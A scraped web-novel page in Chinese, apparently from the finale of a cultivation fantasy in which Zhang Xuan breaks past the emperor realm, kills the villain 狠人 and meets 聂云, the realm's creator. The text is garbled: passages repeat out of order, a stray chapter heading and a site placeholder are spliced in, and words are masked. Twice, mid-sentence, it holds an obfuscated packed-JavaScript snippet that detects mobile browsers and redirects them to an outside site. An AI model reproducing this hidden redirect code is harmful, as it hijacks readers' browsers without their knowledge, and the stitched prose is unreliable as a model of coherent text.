“张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第118章姐妹再逢,设局暗害 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801855|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 